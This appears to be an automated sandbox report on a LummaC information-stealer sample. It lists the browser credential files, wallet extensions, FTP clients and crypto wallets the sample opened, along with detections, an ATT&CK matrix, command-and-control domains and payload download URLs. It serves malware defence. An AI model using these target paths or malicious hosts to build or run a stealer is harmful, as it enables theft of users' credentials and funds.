Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IZMFBFKMEB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IZMFBFKMEB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SNIPGPPREP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SNIPGPPREP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SNIPGPPREP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SNIPGPPREP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior

Source: Yara match	File source: 00000001.00000003.1376183185.000000000165F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1407499798.0000000001661000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1368467947.0000000001655000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1407422388.0000000001661000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1376160704.0000000001651000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1375174685.0000000001651000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1381675218.0000000001660000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1381633869.0000000001660000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1406129961.000000000165F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1369045879.0000000001655000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1367911637.000000000164F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7536, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: file.exe PID: 7536, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	12 Process Injection	35 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Process Injection	LSASS Memory	751 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	35 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	37%	ReversingLabs	Win32.Trojan.Symmi
file.exe	100%	Avira	TR/Crypt.XPACK.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://go.microsoft.co:	0%	Avira URL Cloud	safe
https://atten-supporse.biz/apiogb	100%	Avira URL Cloud	malware
https://atten-supporse.biz/8	100%	Avira URL Cloud	malware
https://atten-supporse.biz/P	100%	Avira URL Cloud	malware
http://185.215.113.16/off/def.exeXSb	100%	Avira URL Cloud	malware
https://atten-supporse.biz/apih	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
atten-supporse.biz	104.21.48.1	true	false	high
www.google.com	142.250.181.68	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
dare-curbys.biz	false	high
impend-differ.biz	false	high
dwell-exclaim.biz	false	high
zinc-sneark.biz	false	high
formy-spill.biz	false	high
se-blurry.biz	false	high
covery-mover.biz	false	high
https://atten-supporse.biz/api	false	high
atten-supporse.biz	false	high
print-vexer.biz	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	file.exe, 00000001.00000003.1406129961.000000000165F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000001.00000003.1368707467.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1369077193.0000000005E28000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/F	file.exe, 00000001.00000002.1664513538.000000000158E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000001.00000003.1368707467.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1369077193.0000000005E28000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/P	file.exe, 00000001.00000003.1368467947.0000000001655000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1367911637.000000000164F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.linkedin.com/cws/share?url=$	chromecache_104.7.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000001.00000003.1368707467.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1369077193.0000000005E28000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/apiogb	file.exe, 00000001.00000003.1407499798.0000000001661000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1407422388.0000000001661000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1406129961.000000000165F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_104.7.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_104.7.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_104.7.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_104.7.dr	false		high
https://atten-supporse.biz/apih	file.exe, 00000001.00000003.1407499798.0000000001661000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1407422388.0000000001661000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1381675218.0000000001660000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1407535058.000000000166F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1407562474.0000000001676000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1406129961.000000000165F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_104.7.dr	false		high
http://x1.c.lencr.org/0	file.exe, 00000001.00000003.1381842649.0000000005E36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	file.exe, 00000001.00000003.1381842649.0000000005E36000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_104.7.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_77.7.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000001.00000003.1368707467.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1369077193.0000000005E28000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/8	file.exe, 00000001.00000003.1382851247.0000000001651000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1381633869.0000000001651000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://learn-video.azurefd.net/vod/player	chromecache_104.7.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_104.7.dr	false		high
http://185.215.113.16/off/def.exeXSb	file.exe, 00000001.00000002.1664836324.0000000001622000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1659755524.000000000161F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000001.00000003.1382873933.000000000613D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_104.7.dr	false		high
https://atten-supporse.biz/apiB	file.exe, 00000001.00000003.1406129961.000000000165F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_104.7.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_104.7.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_104.7.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000001.00000003.1368707467.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1369077193.0000000005E28000.00000004.00000800.00020000.00000000.sdmp	false		high
http://go.microsoft.co:	file.exe, 00000001.00000002.1669957186.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1660820771.0000000005E66000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1660902842.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://polymer.github.io/PATENTS.txt	chromecache_104.7.dr	false		high
https://aka.ms/certhelp	chromecache_104.7.dr	false		high
http://185.215.113.16/steam/random.exe	file.exe, 00000001.00000002.1664836324.0000000001622000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1659755524.000000000161F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	file.exe, 00000001.00000003.1406129961.000000000165F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000001.00000003.1368707467.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1369077193.0000000005E28000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000001.00000003.1381842649.0000000005E36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000001.00000003.1381842649.0000000005E36000.00000004.00000800.00020000.00000000.sdmp	false		high
https://schema.org	chromecache_104.7.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_104.7.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000001.00000003.1368707467.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1369077193.0000000005E28000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/apiP	file.exe, 00000001.00000003.1574451147.000000000163D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000001.00000003.1382873933.000000000613D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000001.00000003.1368707467.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1369077193.0000000005E28000.00000004.00000800.00020000.00000000.sdmp	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_104.7.dr	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000001.00000003.1406129961.000000000165F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/jonschlinkert/is-plain-object	chromecache_104.7.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000001.00000003.1381842649.0000000005E36000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_104.7.dr	false		high
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	file.exe, 00000001.00000003.1406129961.000000000165F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e	file.exe, 00000001.00000003.1406129961.000000000165F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000001.00000003.1406129961.000000000165F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/js-cookie/js-cookie	chromecache_104.7.dr	false		high
http://185.215.113.16/off/def.exe	file.exe, 00000001.00000002.1664836324.0000000001622000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1664299530.000000000138B000.00000004.00000010.00020000.00000000.sdmp, file.exe, 00000001.00000003.1659755524.000000000161F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/	file.exe, 00000001.00000003.1367911637.000000000164F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://channel9.msdn.com/	chromecache_104.7.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000001.00000003.1368707467.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1369077193.0000000005E28000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_104.7.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta	file.exe, 00000001.00000003.1406129961.000000000165F000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.48.1	atten-supporse.biz	United States	13335	CLOUDFLARENETUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
